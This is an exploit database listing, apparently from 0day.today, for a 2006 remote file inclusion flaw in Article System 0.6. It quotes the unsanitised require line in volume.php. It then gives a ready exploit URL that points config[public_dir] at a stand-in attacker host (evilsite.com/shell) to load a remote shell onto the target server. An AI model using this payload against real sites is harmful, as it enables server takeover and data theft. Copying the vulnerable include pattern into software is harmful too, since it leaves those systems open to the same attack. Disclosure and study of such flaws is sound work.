[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Article System 0.6 (volume.php) Remote File Include Vulnerability

Author
GregStar
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1104
Category
web applications
Date add
02-11-2006
Platform
unsorted
=================================================================
Article System 0.6 (volume.php) Remote File Include Vulnerability
=================================================================



**********************************************************************************************************
                                                              
			                Coding 4 Fun (c4f.pl) 
			                                      
**********************************************************************************************************

* Article System 0.6 ; 

* Class = Remote File Inclusion ;
 

* Found by = GregStar (gregstar[at]c4f[dot]pl) ;

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code in volume.php:

 require "{$config['public_dir']}/templates/html/volume.php" ;


- Exploit:

http://[target]/[path]/volume.php?config[public_dir]=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------


Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,RFL,d3m0n,java,kw@ch and for all friends.



**************************************************************************************************************



#  0day.today [2024-12-25]  #